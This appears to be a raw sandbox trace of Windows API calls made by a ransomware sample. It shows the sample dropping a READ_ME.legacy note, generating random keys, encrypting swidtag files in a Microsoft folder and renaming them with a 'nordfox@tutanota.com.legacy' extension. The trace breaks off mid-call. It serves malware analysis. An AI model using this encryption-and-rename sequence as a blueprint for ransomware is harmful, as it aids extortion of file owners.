[0111.121] SetLastError (dwErrCode=0x0) [0111.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.121] SetLastError (dwErrCode=0x0) [0111.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0111.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0111.121] SetLastError (dwErrCode=0x0) [0111.121] GetLastError () returned 0x0 [0111.121] SetLastError (dwErrCode=0x0) [0111.121] GetLastError () returned 0x0 [0111.121] SetLastError (dwErrCode=0x0) [0111.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57edf0 [0111.122] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.123] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.124] CloseHandle (hObject=0x5bc) returned 1 [0111.124] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0111.124] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0111.124] FindFirstFileW (in: lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1ef048b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5998 [0111.124] SetLastError (dwErrCode=0x12) [0111.124] GetLastError () returned 0x12 [0111.124] SetLastError (dwErrCode=0x12) [0111.124] GetLastError () returned 0x12 [0111.124] SetLastError (dwErrCode=0x12) [0111.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0111.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0111.125] FindNextFileW (in: hFindFile=0x5c5998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1ef048b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0111.125] SetLastError (dwErrCode=0x12) [0111.125] GetLastError () returned 0x12 [0111.125] SetLastError (dwErrCode=0x12) [0111.125] GetLastError () returned 0x12 [0111.125] SetLastError (dwErrCode=0x12) [0111.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0111.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0111.125] FindNextFileW (in: hFindFile=0x5c5998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1ef048b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1ef048b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1ef048b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0111.125] SetLastError (dwErrCode=0x12) [0111.125] GetLastError () returned 0x12 [0111.125] SetLastError (dwErrCode=0x12) [0111.125] GetLastError () returned 0x12 [0111.125] SetLastError (dwErrCode=0x12) [0111.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0111.125] FindNextFileW (in: hFindFile=0x5c5998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x4af5600b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", cAlternateFileName="REGID1~3.SWI")) returned 1 [0111.125] SetLastError (dwErrCode=0x12) [0111.125] GetLastError () returned 0x12 [0111.125] SetLastError (dwErrCode=0x12) [0111.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e6e8 [0111.126] SetLastError (dwErrCode=0x12) [0111.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e81f8 [0111.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0111.126] FindNextFileW (in: hFindFile=0x5c5998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbfefc00, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0xda9f4a95, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbfefc00, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", cAlternateFileName="REGID1~2.SWI")) returned 1 [0111.126] SetLastError (dwErrCode=0x12) [0111.126] GetLastError () returned 0x12 [0111.126] SetLastError (dwErrCode=0x12) [0111.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57edf0 [0111.126] SetLastError (dwErrCode=0x12) [0111.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ea0 [0111.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0111.126] FindNextFileW (in: hFindFile=0x5c5998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x53fba98c, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", cAlternateFileName="REGID1~4.SWI")) returned 1 [0111.126] SetLastError (dwErrCode=0x12) [0111.126] GetLastError () returned 0x12 [0111.126] SetLastError (dwErrCode=0x12) [0111.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ef80 [0111.126] SetLastError (dwErrCode=0x12) [0111.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7958 [0111.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d528 [0111.126] FindNextFileW (in: hFindFile=0x5c5998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f2e8f23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", cAlternateFileName="REGID1~1.SWI")) returned 1 [0111.127] SetLastError (dwErrCode=0x12) [0111.127] GetLastError () returned 0x12 [0111.127] SetLastError (dwErrCode=0x12) [0111.127] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57edf0 [0111.127] SetLastError (dwErrCode=0x12) [0111.127] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0111.127] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d550 [0111.127] FindNextFileW (in: hFindFile=0x5c5998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f2e8f23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", cAlternateFileName="REGID1~1.SWI")) returned 0 [0111.127] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ed28 [0111.127] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0111.127] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35a8 [0111.127] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0111.127] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c35a8 | out: pbBuffer=0x5c35a8) returned 1 [0111.127] SetFileAttributesW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", dwFileAttributes=0x80) returned 1 [0111.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57eeb8 [0111.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x571fc8 [0111.128] CreateFileW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0111.128] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=997) returned 1 [0111.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3e5) returned 0x5e87c8 [0111.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3e5) returned 0x5e8bb8 [0111.128] ReadFile (in: hFile=0x5c0, lpBuffer=0x5e87c8, nNumberOfBytesToRead=0x3e5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e87c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x3e5, lpOverlapped=0x0) returned 1 [0111.142] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=-997, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.142] WriteFile (in: hFile=0x5c0, lpBuffer=0x5e8bb8*, nNumberOfBytesToWrite=0x3e5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e8bb8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3e5, lpOverlapped=0x0) returned 1 [0111.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87c8 | out: hHeap=0x520000) returned 1 [0111.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8bb8 | out: hHeap=0x520000) returned 1 [0111.142] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3e5 [0111.142] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.142] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.143] WriteFile (in: hFile=0x5c0, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.143] WriteFile (in: hFile=0x5c0, lpBuffer=0x5c35a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c35a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.143] CloseHandle (hObject=0x5c0) returned 1 [0111.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0111.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35a8 | out: hHeap=0x520000) returned 1 [0111.143] MoveFileExW (lpExistingFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag"), lpNewFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0111.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ed28 | out: hHeap=0x520000) returned 1 [0111.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e878 | out: hHeap=0x520000) returned 1 [0111.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0111.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0111.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0111.163] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0111.163] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0111.163] SetFileAttributesW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", dwFileAttributes=0x80) returned 1 [0111.164] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0111.164] CreateFileW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0111.164] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1071) returned 1 [0111.164] ReadFile (in: hFile=0x5c0, lpBuffer=0x5e87c8, nNumberOfBytesToRead=0x42f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e87c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x42f, lpOverlapped=0x0) returned 1 [0111.166] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=-1071, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.166] WriteFile (in: hFile=0x5c0, lpBuffer=0x5e8c00*, nNumberOfBytesToWrite=0x42f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e8c00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42f, lpOverlapped=0x0) returned 1 [0111.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87c8 | out: hHeap=0x520000) returned 1 [0111.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8c00 | out: hHeap=0x520000) returned 1 [0111.166] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42f [0111.167] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.167] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.167] WriteFile (in: hFile=0x5c0, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.167] WriteFile (in: hFile=0x5c0, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.167] CloseHandle (hObject=0x5c0) returned 1 [0111.167] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0111.167] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0111.167] MoveFileExW (lpExistingFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag"), lpNewFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.176] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0111.176] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c38d0 | out: hHeap=0x520000) returned 1 [0111.176] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0111.176] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0111.176] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c35a8 | out: pbBuffer=0x5c35a8) returned 1 [0111.176] SetFileAttributesW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", dwFileAttributes=0x80) returned 1 [0111.179] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c55b0 [0111.179] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0111.179] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c55b0 | out: hHeap=0x520000) returned 1 [0111.179] CreateFileW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0111.179] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1068) returned 1 [0111.179] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x42c) returned 0x5e87c8 [0111.179] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x42c) returned 0x5e8c00 [0111.179] ReadFile (in: hFile=0x5c0, lpBuffer=0x5e87c8, nNumberOfBytesToRead=0x42c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e87c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x42c, lpOverlapped=0x0) returned 1 [0111.236] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=-1068, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.237] WriteFile (in: hFile=0x5c0, lpBuffer=0x5e8c00*, nNumberOfBytesToWrite=0x42c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e8c00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42c, lpOverlapped=0x0) returned 1 [0111.237] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87c8 | out: hHeap=0x520000) returned 1 [0111.237] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8c00 | out: hHeap=0x520000) returned 1 [0111.237] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42c [0111.237] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.238] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.238] WriteFile (in: hFile=0x5c0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.239] WriteFile (in: hFile=0x5c0, lpBuffer=0x5c35a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c35a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.239] CloseHandle (hObject=0x5c0) returned 1 [0111.239] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0111.239] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35a8 | out: hHeap=0x520000) returned 1 [0111.240] MoveFileExW (lpExistingFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag"), lpNewFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.243] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0111.243] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0111.243] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0111.243] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0111.243] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0111.243] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0111.243] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0111.244] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0111.244] SetFileAttributesW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", dwFileAttributes=0x80) returned 1 [0111.245] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3cf0 [0111.245] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0111.246] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3cf0 | out: hHeap=0x520000) returned 1 [0111.246] CreateFileW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0111.246] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1072) returned 1 [0111.246] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x430) returned 